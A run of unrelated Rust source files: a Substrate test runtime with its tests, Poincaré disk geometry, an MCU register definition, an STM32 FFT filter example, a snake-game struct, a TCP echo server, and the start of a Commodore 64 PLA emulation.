-> u64 { val + 1 } fn benchmark_vector_add_one(vec: &Vec<u64>) -> Vec<u64> { let mut vec = vec.clone(); vec.iter_mut().for_each(|v| *v += 1); vec } fn fail_convert_parameter(_: DecodeFails<Block>) {} fn fail_convert_return_value() -> DecodeFails<Block> { DecodeFails::new() } fn function_signature_changed() -> u64 { 1 } fn fail_on_native() -> u64 { panic!("Failing because we are on native") } fn fail_on_wasm() -> u64 { 1 } fn use_trie() -> u64 { code_using_trie() } fn benchmark_indirect_call() -> u64 { let function = benchmark_add_one; (0..1000).fold(0, |p, i| p + function(i)) } fn benchmark_direct_call() -> u64 { (0..1000).fold(0, |p, i| p + benchmark_add_one(i)) } fn vec_with_capacity(_size: u32) -> Vec<u8> { unimplemented!("is not expected to be invoked from non-wasm builds"); } fn get_block_number() -> u64 { system::get_block_number().expect("Block number is initialized") } fn without_initialize_block() -> bool { system::get_block_number().is_none() } fn take_block_number() -> Option<u64> { system::take_block_number() } fn test_ed25519_crypto() -> (ed25519::AppSignature, ed25519::AppPublic) { test_ed25519_crypto() } fn test_sr25519_crypto() -> (sr25519::AppSignature, sr25519::AppPublic) { test_sr25519_crypto() } fn test_ecdsa_crypto() -> (ecdsa::AppSignature, ecdsa::AppPublic) { test_ecdsa_crypto() } fn test_storage() { test_read_storage(); test_read_child_storage(); } fn test_witness(proof: StorageProof, root: crate::Hash) { test_witness(proof, root); } fn test_multiple_arguments(data: Vec<u8>, other: Vec<u8>, num: u32) { assert_eq!(&data[..], &other[..]); assert_eq!(data.len(), num as usize); } } impl sp_consensus_aura::AuraApi<Block, AuraId> for Runtime { fn slot_duration() -> u64 { 1000 } fn authorities() -> Vec<AuraId> { system::authorities().into_iter().map(|a| { let authority: sr25519::Public = a.into(); AuraId::from(authority) }).collect() } } impl sp_consensus_babe::BabeApi<Block> for Runtime { fn configuration() -> sp_consensus_babe::BabeGenesisConfiguration { sp_consensus_babe::BabeGenesisConfiguration { slot_duration: 1000, epoch_length: EpochDuration::get(), c: (3, 10), genesis_authorities: system::authorities() .into_iter().map(|x|(x, 1)).collect(), randomness: <pallet_babe::Module<Runtime>>::randomness(), allowed_slots: AllowedSlots::PrimaryAndSecondaryPlainSlots, } } fn current_epoch_start() -> SlotNumber { <pallet_babe::Module<Runtime>>::current_epoch_start() } fn submit_report_equivocation_unsigned_extrinsic( _equivocation_proof: sp_consensus_babe::EquivocationProof< <Block as BlockT>::Header, >, _key_owner_proof: sp_consensus_babe::OpaqueKeyOwnershipProof, ) -> Option<()> { None } fn generate_key_ownership_proof( _slot_number: sp_consensus_babe::SlotNumber, _authority_id: sp_consensus_babe::AuthorityId, ) -> Option<sp_consensus_babe::OpaqueKeyOwnershipProof> { None } } impl sp_offchain::OffchainWorkerApi<Block> for Runtime { fn offchain_worker(header: &<Block as BlockT>::Header) { let ex = Extrinsic::IncludeData(header.number.encode()); sp_io::offchain::submit_transaction(ex.encode()).unwrap(); } } impl sp_session::SessionKeys<Block> for Runtime { fn generate_session_keys(_: Option<Vec<u8>>) -> Vec<u8> { SessionKeys::generate(None) } fn decode_session_keys( encoded: Vec<u8>, ) -> Option<Vec<(Vec<u8>, sp_core::crypto::KeyTypeId)>> { SessionKeys::decode_into_raw_public_keys(&encoded) } } impl sp_finality_grandpa::GrandpaApi<Block> for Runtime { fn grandpa_authorities() -> sp_finality_grandpa::AuthorityList { Vec::new() } fn submit_report_equivocation_unsigned_extrinsic( _equivocation_proof: sp_finality_grandpa::EquivocationProof< <Block as BlockT>::Hash, NumberFor<Block>, >, _key_owner_proof: sp_finality_grandpa::OpaqueKeyOwnershipProof, ) -> Option<()> { None } fn generate_key_ownership_proof( _set_id: sp_finality_grandpa::SetId, _authority_id: sp_finality_grandpa::AuthorityId, ) -> Option<sp_finality_grandpa::OpaqueKeyOwnershipProof> { None } } impl frame_system_rpc_runtime_api::AccountNonceApi<Block, AccountId, Index> for Runtime { fn account_nonce(_account: AccountId) -> Index { 0 } } } } else { impl_runtime_apis! { impl sp_api::Core<Block> for Runtime { fn version() -> RuntimeVersion { version() } fn execute_block(block: Block) { system::execute_block(block) } fn initialize_block(header: &<Block as BlockT>::Header) { system::initialize_block(header) } } impl sp_api::Metadata<Block> for Runtime { fn metadata() -> OpaqueMetadata { unimplemented!() } } impl sp_transaction_pool::runtime_api::TaggedTransactionQueue<Block> for Runtime { fn validate_transaction( _source: TransactionSource, utx: <Block as BlockT>::Extrinsic, ) -> TransactionValidity { if let Extrinsic::IncludeData(data) = utx { return Ok(ValidTransaction{ priority: data.len() as u64, requires: vec![], provides: vec![data], longevity: 1, propagate: false, }); } system::validate_transaction(utx) } } impl sp_block_builder::BlockBuilder<Block> for Runtime { fn apply_extrinsic(extrinsic: <Block as BlockT>::Extrinsic) -> ApplyExtrinsicResult { system::execute_transaction(extrinsic) } fn finalize_block() -> <Block as BlockT>::Header { system::finalize_block() } fn inherent_extrinsics(_data: InherentData) -> Vec<<Block as BlockT>::Extrinsic> { vec![] } fn check_inherents(_block: Block, _data: InherentData) -> CheckInherentsResult { CheckInherentsResult::new() } fn random_seed() -> <Block as BlockT>::Hash { unimplemented!() } } impl self::TestAPI<Block> for Runtime { fn balance_of(id: AccountId) -> u64 { system::balance_of(id) } fn benchmark_add_one(val: &u64) -> u64 { val + 1 } fn benchmark_vector_add_one(vec: &Vec<u64>) -> Vec<u64> { let mut vec = vec.clone(); vec.iter_mut().for_each(|v| *v += 1); vec } fn fail_convert_parameter(_: DecodeFails<Block>) {} fn fail_convert_return_value() -> DecodeFails<Block> { DecodeFails::new() } fn function_signature_changed() -> Vec<u64> { let mut vec = Vec::new(); vec.push(1); vec.push(2); vec } fn fail_on_native() -> u64 { 1 } fn fail_on_wasm() -> u64 { panic!("Failing because we are on wasm") } fn use_trie() -> u64 { code_using_trie() } fn benchmark_indirect_call() -> u64 { (0..10000).fold(0, |p, i| p + BENCHMARK_ADD_ONE.get()(i)) } fn benchmark_direct_call() -> u64 { (0..10000).fold(0, |p, i| p + benchmark_add_one(i)) } fn vec_with_capacity(size: u32) -> Vec<u8> { Vec::with_capacity(size as usize) } fn get_block_number() -> u64 { system::get_block_number().expect("Block number is initialized") } fn without_initialize_block() -> bool { system::get_block_number().is_none() } fn take_block_number() -> Option<u64> { system::take_block_number() } fn test_ed25519_crypto() -> (ed25519::AppSignature, ed25519::AppPublic) { test_ed25519_crypto() } fn test_sr25519_crypto() -> (sr25519::AppSignature, sr25519::AppPublic) { test_sr25519_crypto() } fn test_ecdsa_crypto() -> (ecdsa::AppSignature, ecdsa::AppPublic) { test_ecdsa_crypto() } fn test_storage() { test_read_storage(); test_read_child_storage(); } fn test_witness(proof: StorageProof, root: crate::Hash) { test_witness(proof, root); } fn test_multiple_arguments(data: Vec<u8>, other: Vec<u8>, num: u32) { assert_eq!(&data[..], &other[..]); assert_eq!(data.len(), num as usize); } } impl sp_consensus_aura::AuraApi<Block, AuraId> for Runtime { fn slot_duration() -> u64 { 1000 } fn authorities() -> Vec<AuraId> { system::authorities().into_iter().map(|a| { let authority: sr25519::Public = a.into(); AuraId::from(authority) }).collect() } } impl sp_consensus_babe::BabeApi<Block> for Runtime { fn configuration() -> sp_consensus_babe::BabeGenesisConfiguration { sp_consensus_babe::BabeGenesisConfiguration { slot_duration: 1000, epoch_length: EpochDuration::get(), c: (3, 10), genesis_authorities: system::authorities() .into_iter().map(|x|(x, 1)).collect(), randomness: <pallet_babe::Module<Runtime>>::randomness(), allowed_slots: AllowedSlots::PrimaryAndSecondaryPlainSlots, } } fn current_epoch_start() -> SlotNumber { <pallet_babe::Module<Runtime>>::current_epoch_start() } fn submit_report_equivocation_unsigned_extrinsic( _equivocation_proof: sp_consensus_babe::EquivocationProof< <Block as BlockT>::Header, >, _key_owner_proof: sp_consensus_babe::OpaqueKeyOwnershipProof, ) -> Option<()> { None } fn generate_key_ownership_proof( _slot_number: sp_consensus_babe::SlotNumber, _authority_id: sp_consensus_babe::AuthorityId, ) -> Option<sp_consensus_babe::OpaqueKeyOwnershipProof> { None } } impl sp_offchain::OffchainWorkerApi<Block> for Runtime { fn offchain_worker(header: &<Block as BlockT>::Header) { let ex = Extrinsic::IncludeData(header.number.encode()); sp_io::offchain::submit_transaction(ex.encode()).unwrap() } } impl sp_session::SessionKeys<Block> for Runtime { fn generate_session_keys(_: Option<Vec<u8>>) -> Vec<u8> { SessionKeys::generate(None) } fn decode_session_keys( encoded: Vec<u8>, ) -> Option<Vec<(Vec<u8>, sp_core::crypto::KeyTypeId)>> { SessionKeys::decode_into_raw_public_keys(&encoded) } } impl frame_system_rpc_runtime_api::AccountNonceApi<Block, AccountId, Index> for Runtime { fn account_nonce(_account: AccountId) -> Index { 0 } } } } } fn test_ed25519_crypto() -> (ed25519::AppSignature, ed25519::AppPublic) { let public0 = ed25519::AppPublic::generate_pair(None); let public1 = ed25519::AppPublic::generate_pair(None); let public2 = ed25519::AppPublic::generate_pair(None); let all = ed25519::AppPublic::all(); assert!(all.contains(&public0)); assert!(all.contains(&public1)); assert!(all.contains(&public2)); let signature = public0.sign(&"ed25519").expect("Generates a valid `ed25519` signature."); assert!(public0.verify(&"ed25519", &signature)); (signature, public0) } fn test_sr25519_crypto() -> (sr25519::AppSignature, sr25519::AppPublic) { let public0 = sr25519::AppPublic::generate_pair(None); let public1 = sr25519::AppPublic::generate_pair(None); let public2 = sr25519::AppPublic::generate_pair(None); let all = sr25519::AppPublic::all(); assert!(all.contains(&public0)); assert!(all.contains(&public1)); assert!(all.contains(&public2)); let signature = public0.sign(&"sr25519").expect("Generates a valid `sr25519` signature."); assert!(public0.verify(&"sr25519", &signature)); (signature, public0) } fn test_ecdsa_crypto() -> (ecdsa::AppSignature, ecdsa::AppPublic) { let public0 = ecdsa::AppPublic::generate_pair(None); let public1 = ecdsa::AppPublic::generate_pair(None); let public2 = ecdsa::AppPublic::generate_pair(None); let all = ecdsa::AppPublic::all(); assert!(all.contains(&public0)); assert!(all.contains(&public1)); assert!(all.contains(&public2)); let signature = public0.sign(&"ecdsa").expect("Generates a valid `ecdsa` signature."); assert!(public0.verify(&"ecdsa", &signature)); (signature, public0) } fn test_read_storage() { const KEY: &[u8] = b":read_storage"; sp_io::storage::set(KEY, b"test"); let mut v = [0u8; 4]; let r = sp_io::storage::read(KEY, &mut v, 0); assert_eq!(r, Some(4)); assert_eq!(&v, b"test"); let mut v = [0u8; 4]; let r = sp_io::storage::read(KEY, &mut v, 4); assert_eq!(r, Some(0)); assert_eq!(&v, &[0, 0, 0, 0]); } fn test_read_child_storage() { const STORAGE_KEY: &[u8] = b"unique_id_1"; const KEY: &[u8] = b":read_child_storage"; sp_io::default_child_storage::set(STORAGE_KEY, KEY, b"test"); let mut v = [0u8; 4]; let r = sp_io::default_child_storage::read(STORAGE_KEY, KEY, &mut v, 0); assert_eq!(r, Some(4)); assert_eq!(&v, b"test"); let mut v = [0u8; 4]; let r = sp_io::default_child_storage::read(STORAGE_KEY, KEY, &mut v, 8); assert_eq!(r, Some(0)); assert_eq!(&v, &[0, 0, 0, 0]); } fn test_witness(proof: StorageProof, root: crate::Hash) { use sp_externalities::Externalities; let db: sp_trie::MemoryDB<crate::Hashing> = proof.into_memory_db(); let backend = sp_state_machine::TrieBackend::<_, crate::Hashing>::new(db, root); let mut overlay = sp_state_machine::OverlayedChanges::default(); #[cfg(feature = "std")] let mut offchain_overlay = Default::default(); let mut cache = sp_state_machine::StorageTransactionCache::<_, _, BlockNumber>::default(); let mut ext = sp_state_machine::Ext::new( &mut overlay, #[cfg(feature = "std")] &mut offchain_overlay, &mut cache, &backend, #[cfg(feature = "std")] None, #[cfg(feature = "std")] None, ); assert!(ext.storage(b"value3").is_some()); assert!(ext.storage_root().as_slice() == &root[..]); ext.place_storage(vec![0], Some(vec![1])); assert!(ext.storage_root().as_slice() != &root[..]); } #[cfg(test)] mod tests { use codec::Encode; use sc_block_builder::BlockBuilderProvider; use sp_api::ProvideRuntimeApi; use sp_core::storage::well_known_keys::HEAP_PAGES; use sp_runtime::generic::BlockId; use sp_state_machine::ExecutionStrategy; use substrate_test_runtime_client::{ prelude::*, runtime::TestAPI, sp_consensus::BlockOrigin, DefaultTestClientBuilderExt, TestClientBuilder, }; #[test] fn heap_pages_is_respected() { // This tests that the on-chain HEAP_PAGES parameter is respected. // Create a client devoting only 8 pages of wasm memory. This gives us ~512k of heap memory. let mut client = TestClientBuilder::new() .set_execution_strategy(ExecutionStrategy::AlwaysWasm) .set_heap_pages(8) .build(); let block_id = BlockId::Number(client.chain_info().best_number); // Try to allocate 1024k of memory on heap. This is going to fail since it is twice larger // than the heap. let ret = client.runtime_api().vec_with_capacity(&block_id, 1048576); assert!(ret.is_err()); // Create a block that sets the `:heap_pages` to 32 pages of memory which corresponds to // ~2048k of heap memory. let (new_block_id, block) = { let mut builder = client.new_block(Default::default()).unwrap(); builder.push_storage_change(HEAP_PAGES.to_vec(), Some(32u64.encode())).unwrap(); let block = builder.build().unwrap().block; let hash = block.header.hash(); (BlockId::Hash(hash), block) }; client.import(BlockOrigin::Own, block).unwrap(); // Allocation of 1024k while having ~2048k should succeed. let ret = client.runtime_api().vec_with_capacity(&new_block_id, 1048576); assert!(ret.is_ok()); } #[test] fn test_storage() { let client = TestClientBuilder::new().set_execution_strategy(ExecutionStrategy::Both).build(); let runtime_api = client.runtime_api(); let block_id = BlockId::Number(client.chain_info().best_number); runtime_api.test_storage(&block_id).unwrap(); } fn witness_backend() -> (sp_trie::MemoryDB<crate::Hashing>, crate::Hash) { use sp_trie::TrieMut; let mut root = crate::Hash::default(); let mut mdb = sp_trie::MemoryDB::<crate::Hashing>::default(); { let mut trie = sp_trie::trie_types::TrieDBMut::new(&mut mdb, &mut root); trie.insert(b"value3", &[142]).expect("insert failed"); trie.insert(b"value4", &[124]).expect("insert failed"); }; (mdb, root) } #[test] fn witness_backend_works() { let (db, root) = witness_backend(); let backend = sp_state_machine::TrieBackend::<_, crate::Hashing>::new(db, root); let proof = sp_state_machine::prove_read(backend, vec![b"value3"]).unwrap(); let client = TestClientBuilder::new().set_execution_strategy(ExecutionStrategy::Both).build(); let runtime_api = client.runtime_api(); let block_id = BlockId::Number(client.chain_info().best_number); runtime_api.test_witness(&block_id, proof, root).unwrap(); } }
use std::f64::NAN; use {PoincareLine, PolarCoord}; #[derive(Clone, Copy, Debug, PartialEq)] pub struct PoincareCoord { pub x: f64, pub y: f64, } impl PoincareCoord { pub fn origin() -> PoincareCoord { PoincareCoord::new(0.0, 0.0) } pub fn null() -> PoincareCoord { PoincareCoord::new(NAN, NAN) } pub fn new(x: f64, y: f64) -> PoincareCoord { PoincareCoord { x: x, y: y } } pub fn to_polar_coord(&self) -> PolarCoord { PolarCoord { radius: 2.0 * (self.x.powi(2) + self.y.powi(2)).sqrt().atanh(), angle: self.x.atan2(self.y), } } pub fn angle_to(self, p1: PoincareCoord) -> f64 { let c = PoincareLine::new(self, p1).arc_circle(); let mut intersect:PoincareCoord = PoincareCoord::new(p1.x,p1.y); if !c.is_null() { let t = c.tangent_at_point(self); let l = PoincareLine::new(p1, c.center); intersect=t.intersect(l) } (intersect.y - self.y).atan2(intersect.x - self.x) } pub fn slope(&self, p1: PoincareCoord) -> f64 { (self.y - p1.y) / (self.x - p1.x) } pub fn equals(&self, p2: PoincareCoord) -> bool { self.x == p2.x && self.y == p2.y } pub fn is_null(&self) -> bool { self.x.is_nan() || self.y.is_nan() } pub fn mid_point(self, p1: PoincareCoord) -> PoincareCoord { PoincareCoord::new((self.x + p1.x) / 2.0, (self.y + p1.y) / 2.0) } pub fn euclidean_distance(self, p1: PoincareCoord) -> f64 { ((self.x - p1.x).powi(2) + (self.y - p1.y).powi(2)).sqrt() } } #[test] fn test_angle_to() { use float_cmp::ApproxEqUlps; assert!(PoincareCoord::new(0.5, -0.5) .angle_to(PoincareCoord::new(0.5, 0.5)) .approx_eq_ulps(&2.0344439357957023, 2)); }
#[doc = "Register `DDRPHYC_ZQ0CR1` reader"] pub type R = crate::R<DDRPHYC_ZQ0CR1_SPEC>; #[doc = "Register `DDRPHYC_ZQ0CR1` writer"] pub type W = crate::W<DDRPHYC_ZQ0CR1_SPEC>; #[doc = "Field `ZPROG` reader - ZPROG"] pub type ZPROG_R = crate::FieldReader; #[doc = "Field `ZPROG` writer - ZPROG"] pub type ZPROG_W<'a, REG, const O: u8> = crate::FieldWriter<'a, REG, 8, O>; impl R { #[doc = "Bits 0:7 - ZPROG"] #[inline(always)] pub fn zprog(&self) -> ZPROG_R { ZPROG_R::new(self.bits) } } impl W { #[doc = "Bits 0:7 - ZPROG"] #[inline(always)] #[must_use] pub fn zprog(&mut self) -> ZPROG_W<DDRPHYC_ZQ0CR1_SPEC, 0> { ZPROG_W::new(self) } #[doc = "Writes raw bits to the register."] #[inline(always)] pub unsafe fn bits(&mut self, bits: u8) -> &mut Self { self.bits = bits; self } } #[doc = "DDRPHYC ZQ0CR1 register\n\nYou can [`read`](crate::generic::Reg::read) this register and get [`ddrphyc_zq0cr1::R`](R). You can [`reset`](crate::generic::Reg::reset), [`write`](crate::generic::Reg::write), [`write_with_zero`](crate::generic::Reg::write_with_zero) this register using [`ddrphyc_zq0cr1::W`](W). You can also [`modify`](crate::generic::Reg::modify) this register. See [API](https://docs.rs/svd2rust/#read--modify--write-api)."] pub struct DDRPHYC_ZQ0CR1_SPEC; impl crate::RegisterSpec for DDRPHYC_ZQ0CR1_SPEC { type Ux = u8; } #[doc = "`read()` method returns [`ddrphyc_zq0cr1::R`](R) reader structure"] impl crate::Readable for DDRPHYC_ZQ0CR1_SPEC {} #[doc = "`write(|w| ..)` method takes [`ddrphyc_zq0cr1::W`](W) writer structure"] impl crate::Writable for DDRPHYC_ZQ0CR1_SPEC { const ZERO_TO_MODIFY_FIELDS_BITMAP: Self::Ux = 0; const ONE_TO_MODIFY_FIELDS_BITMAP: Self::Ux = 0; } #[doc = "`reset()` method sets DDRPHYC_ZQ0CR1 to value 0x7b"] impl crate::Resettable for DDRPHYC_ZQ0CR1_SPEC { const RESET_VALUE: Self::Ux = 0x7b; }
//! This project is used for explaining filtering in frequency domain. Here, we //! have a digital input signal as the sum of two sinusoids with different //! frequencies. The complex form of this signal is represented with s_complex //! array in main.c file. Also we have a digital filter represented with h array //! given in FIR_lpf_coefficients.h file. //! //! Requires `cargo install probe-run` //! `cargo run --release --example 4_13_fif_calculations_microfft` #![no_std] #![no_main] use panic_break as _; use stm32f4xx_hal as hal; use core::f32::consts::PI; use hal::{dwt::ClockDuration, dwt::DwtExt, prelude::*, stm32}; use microfft::{complex::cfft_512, Complex32}; use micromath::F32Ext; use rtt_target::{rprintln, rtt_init_print}; use typenum::Unsigned; type N = heapless::consts::U512; const W1: f32 = core::f32::consts::PI / 128.0; const W2: f32 = core::f32::consts::PI / 4.0; #[cortex_m_rt::entry] fn main() -> ! { rtt_init_print!(BlockIfFull, 128); let dp = stm32::Peripherals::take().unwrap(); let cp = cortex_m::peripheral::Peripherals::take().unwrap(); // Set up the system clock. let rcc = dp.RCC.constrain(); let clocks = rcc .cfgr .use_hse(8.mhz()) //discovery board has 8 MHz crystal for HSE .sysclk(168.mhz()) .freeze(); // Create a delay abstraction based on DWT cycle counter let dwt = cp.DWT.constrain(cp.DCB, clocks); // Complex sum of sinusoidal signals let s1 = (0..N::to_usize()).map(|val| (W1 * val as f32).sin()); let s2 = (0..N::to_usize()).map(|val| (W2 * val as f32).sin()); let s = s1.zip(s2).map(|(ess1, ess2)| ess1 + ess2); let mut s_complex = s .map(|f| Complex32 { re: f, im: 0.0 }) .collect::<heapless::Vec<Complex32, N>>(); // Complex impulse response of filter let mut df_complex = H .iter() .cloned() .map(|f| Complex32 { re: f, im: 0.0 }) .chain(core::iter::repeat(Complex32 { re: 0.0, im: 0.0 })) //fill rest with zeros up to N .take(N::to_usize()) .collect::<heapless::Vec<Complex32, N>>(); // Finding the FFT of the filter let _ = cfft_512(&mut df_complex[..]); let time: ClockDuration = dwt.measure(|| { // Finding the FFT of the input signal let _ = cfft_512(&mut s_complex[..]); // Filtering in the frequency domain let y_complex = s_complex .iter() .zip(df_complex.iter()) //multiply complex .map(|(s, df)| Complex32 { re: s.re * df.re - s.im * df.im, im: s.re * df.im + s.im * df.re, }); // Finding the complex result in time domain // supposed to be inverse transform but microfft doesnt have it // Could patch it in. inverse DFT is the same as the DFT, but with the // opposite sign in the exponent and a 1/N factor, any FFT algorithm can // easily be adapted for it. // just dtfse approx instead for now let _y_freq = dtfse::<N, _>(y_complex.clone(), 15).collect::<heapless::Vec<f32, N>>(); }); rprintln!("dft ticks: {:?}", time.as_ticks()); // signal to probe-run to exit loop { cortex_m::asm::bkpt() } } static H: &[f32] = &[ 0.002044, 0.007806, 0.014554, 0.020018, 0.024374, 0.027780, 0.030370, 0.032264, 0.033568, 0.034372, 0.034757, 0.034791, 0.034534, 0.034040, 0.033353, 0.032511, 0.031549, 0.030496, 0.029375, 0.028207, 0.027010, 0.025800, 0.024587, 0.023383, 0.022195, 0.021031, 0.019896, 0.018795, 0.017730, 0.016703, 0.015718, 0.014774, 0.013872, 0.013013, 0.012196, 0.011420, 0.010684, 0.009989, 0.009331, 0.008711, 0.008127, 0.007577, 0.007061, 0.006575, 0.006120, 0.005693, 0.005294, 0.004920, 0.004570, 0.004244, 0.003939, 0.003655, 0.003389, 0.003142, 0.002912, 0.002698, 0.002499, 0.002313, 0.002141, 0.001981, 0.001833, 0.001695, 0.001567, 0.001448, ]; fn dtfse<N: Unsigned, I: Iterator<Item = Complex32> + Clone>( coeff: I, k_var: usize, ) -> impl Iterator<Item = f32> { let size = N::to_usize() as f32; (0..N::to_usize()).map(move |n| { coeff .clone() .take(k_var + 1) .enumerate() .map(|(k, complex)| { let a = (complex.re * complex.re + complex.im * complex.im).sqrt(); let p = complex.im.atan2(complex.re); a * ((2.0 * PI * k as f32 * n as f32 / size) + p).cos() / size }) .sum::<f32>() }) }
use crate::{Coord, YELLOW}; use opengl_graphics::GlGraphics; use piston::RenderArgs; #[derive(Debug, Copy, Clone)] pub struct Food { coord: Coord, color: [f32; 4], size: f64, } impl Food { pub fn new(coord: Coord) -> Self { Food { coord, color: YELLOW, size: 10.0, } } pub fn render(&self, gl: &mut GlGraphics, args: &RenderArgs) { let square = graphics::rectangle::square(self.coord.0, self.coord.1, self.size); let color = self.color; gl.draw(args.viewport(), |c, gl| { let transform = c.transform; graphics::rectangle(color, square, transform, gl); }); } pub fn coord(&self) -> Coord { self.coord } }
extern crate docopt; #[macro_use] extern crate may; #[macro_use] extern crate serde_derive; // use std::time::Duration; use std::io::{Read, Write}; use docopt::Docopt; use may::net::{TcpListener, TcpStream}; const VERSION: &str = "0.1.0"; const USAGE: &str = " Tcp echo server. Usage: echo [-t <threads>] [-p <port>] echo (-h | --help) echo (-v | --version) Options: -h --help Show this screen. -v --version Show version. -t <threads> number of threads to use [default: 1]. -p <address> port of the server [default: 8080]. "; #[derive(Debug, Deserialize)] struct Args { flag_p: u16, flag_t: usize, flag_v: bool, } macro_rules! t { ($e:expr) => { match $e { Ok(val) => val, Err(err) => return println!("err = {:?}", err), } }; } #[inline] fn handle_client(mut stream: TcpStream) { // t!(stream.set_read_timeout(Some(Duration::from_secs(10)))); // t!(stream.set_write_timeout(Some(Duration::from_secs(10)))); let mut read = vec![0; 1024 * 16]; // alloc in heap! loop { let n = t!(stream.read(&mut read)); if n > 0 { t!(stream.write_all(&read[0..n])); } else { break; } } } /// simple test: echo hello | nc 127.0.0.1 8080 fn main() { let args: Args = Docopt::new(USAGE) .and_then(|d| d.deserialize()) .unwrap_or_else(|e| e.exit()); if args.flag_v { return println!("echo: {VERSION}"); } let port = args.flag_p; let threads = args.flag_t; may::config().set_workers(threads); may::coroutine::scope(|s| { for i in 0..threads { go!(s, move || { // let listener = TcpListener::bind("127.0.0.1:8080").unwrap(); let listener = TcpListener::bind(("0.0.0.0", port)).unwrap(); println!( "Starting tcp echo server on {:?}", listener.local_addr().unwrap(), ); println!("running on thread id {i}"); for stream in listener.incoming() { match stream { Ok(s) => { go!(move || handle_client(s)); } Err(e) => println!("err = {e:?}"), } } }); } }); }
// Copyright (c) 2021 Thomas J. Otterson // // This software is released under the MIT License. // https://opensource.org/licenses/MIT pub mod constants { /// Pin assignment for input pin 0. pub const I0: usize = 9; /// Pin assignment for input pin 1. pub const I1: usize = 8; /// Pin assignment for input pin 2. pub const I2: usize = 7; /// Pin assignment for input pin 3. pub const I3: usize = 6; /// Pin assignment for input pin 4. pub const I4: usize = 5; /// Pin assignment for input pin 5. pub const I5: usize = 4; /// Pin assignment for input pin 6. pub const I6: usize = 3; /// Pin assignment for input pin 7. pub const I7: usize = 2; /// Pin assignment for input pin 8. pub const I8: usize = 27; /// Pin assignment for input pin 9. pub const I9: usize = 26; /// Pin assignment for input pin 10. pub const I10: usize = 25; /// Pin assignment for input pin 11. pub const I11: usize = 24; /// Pin assignment for input pin 12. pub const I12: usize = 23; /// Pin assignment for input pin 13. pub const I13: usize = 22; /// Pin assignment for input pin 14. pub const I14: usize = 21; /// Pin assignment for input pin 15. pub const I15: usize = 20; /// Pin assignment for output pin 0. pub const F0: usize = 18; /// Pin assignment for output pin 1. pub const F1: usize = 17; /// Pin assignment for output pin 2. pub const F2: usize = 16; /// Pin assignment for output pin 3. pub const F3: usize = 15; /// Pin assignment for output pin 4. pub const F4: usize = 13; /// Pin assignment for output pin 5. pub const F5: usize = 12; /// Pin assignment for output pin 6. pub const F6: usize = 11; /// Pin assignment for output pin 7. pub const F7: usize = 10; /// Pin assignment for the output enable pin. pub const OE: usize = 19; /// Pin assignment for the field programming pin. pub const FE: usize = 1; /// Pin assignment for the +5V power supply pin. pub const VCC: usize = 28; /// Pin assignment for the ground pin. pub const VSS: usize = 14; // These are alternate names for the input (I) and output (F) pins, matching purpose of // each pin in the Commodore 64. They can be used to access the same pins with a // different naming convention. For example, the I0 pin, which accepts the CAS signal // from the VIC, can be accessed regularly with `device.pins()[I0]` or // `device.pins()[9]`. With these constants, if so desired, it can also be accessed as // `device.pins()[CAS]`. // // Note that one of the regular names is I0 and that one of the alternate names is IO. // It's probably best to stick to using one set or the other and not mixing them. /// Alternate pin assignment for input pin 0. pub const CAS: usize = I0; /// Alternate pin assignment for input pin 1. pub const LORAM: usize = I1; /// Alternate pin assignment for input pin 2. pub const HIRAM: usize = I2; /// Alternate pin assignment for input pin 3. pub const CHAREN: usize = I3; /// Alternate pin assignment for input pin 4. pub const VA14: usize = I4; /// Alternate pin assignment for input pin 5. pub const A15: usize = I5; /// Alternate pin assignment for input pin 6. pub const A14: usize = I6; /// Alternate pin assignment for input pin 7. pub const A13: usize = I7; /// Alternate pin assignment for input pin 8. pub const A12: usize = I8; /// Alternate pin assignment for input pin 9. pub const BA: usize = I9; /// Alternate pin assignment for input pin 10. pub const AEC: usize = I10; /// Alternate pin assignment for input pin 11. pub const R_W: usize = I11; /// Alternate pin assignment for input pin 12. pub const EXROM: usize = I12; /// Alternate pin assignment for input pin 13. pub const GAME: usize = I13; /// Alternate pin assignment for input pin 14. pub const VA13: usize = I14; /// Alternate pin assignment for input pin 15. pub const VA12: usize = I15; /// Alternate pin assignment for output pin 0. pub const CASRAM: usize = F0; /// Alternate pin assignment for output pin 1. pub const BASIC: usize = F1; /// Alternate pin assignment for output pin 2. pub const KERNAL: usize = F2; /// Alternate pin assignment for output pin 3. pub const CHAROM: usize = F3; /// Alternate pin assignment for output pin 4. pub const GR_W: usize = F4; /// Alternate pin assignment for output pin 5. pub const IO: usize = F5; /// Alternate pin assignment for output pin 6. pub const ROML: usize = F6; /// Alternate pin assignment for output pin 7. pub const ROMH: usize = F7; } use crate::{ components::{ device::{Device, DeviceRef, LevelChange}, pin::{ Mode::{Input, Output, Unconnected}, Pin, }, }, vectors::RefVec, }; use self::constants::*; /// An emulation of the 82S100 Programmable Logic Array, as it was programmed for early /// Commodore 64s. /// /// The 82S100 is a programmable logic chip made by Signetics and is regarded as the very /// first programmable logic device, first released in 1975. It took 16 inputs and could /// form up to 48 product terms (P-terms) by logically ANDind and NOTing selections of the /// 16 inputs. These P-terms were then fed to another array that would logically OR them /// selectively, producing up to 8 sum terms (S-terms) that were ultimately sent to the /// output pins (possibly after NOTing them first). The programming for these P- and S-terms /// could be done in the field in a similar manner to that of a PROM (programmable read-only /// memory), and Commodore would program them as a part of production of the C64. /// /// A single 82S100 could therefore serve the same function as a large number of 7400-series /// logic devices, for instance. It was used in a vast array of machines, including other /// Commodore computers and disk drives and those from several other companies. The /// differences between the 82S100's used in each would be the programming of the logic /// arrays. /// /// CBM eventually created their own hard-coded versions of the 82S100, which were faster /// and were cheaper for CBM to produce than it was for them to buy and program 82S100's. /// The schematic from which this emulation is being produced is an early one, from July, /// 1982, and at that time the C64 was still using the Signetics device. /// /// The input pins of the 82S100 were generically named I0-I15, and the output pins were /// similarly named F0-F7. That has been maintained here, though constants are provided to /// be able to use the more C64-centric names that reflect the pins' actual functions in /// that computer. /// /// This chip was tasked with providing the chip enable signals for the C64's RAM and color /// RAM; BASIC, kernal, and character ROM; registers from the 6526 CIAs, 6567 VIC, and 6581 /// SID; and two banks of cartridge ROM and two banks of cartridge I/O memory. The 6510 /// processor, having a 16-bit address bus, could access 64k of memory, but all of this RAM /// and ROM together added up to closer to 84k. Therefore the PLA used a combination of /// inputs, including some of the address bus, the specialized 6510 I/O port bus, and /// signals from the VIC and cartridge ROMs to determine which memory was trying to be /// accessed at any given time, and then provide chip enable signals for that memory /// (turning it on and turning other memory that could be at the same address off). It would /// do this for every memory access, which would happen twice per cycle (half the cycle was /// used by the CPU, half by the VIC). Thus bank switching actually happened at a frequency /// of 2MHz, twice the CPU clock frequency, and the chip generated a fair bit of heat. /// 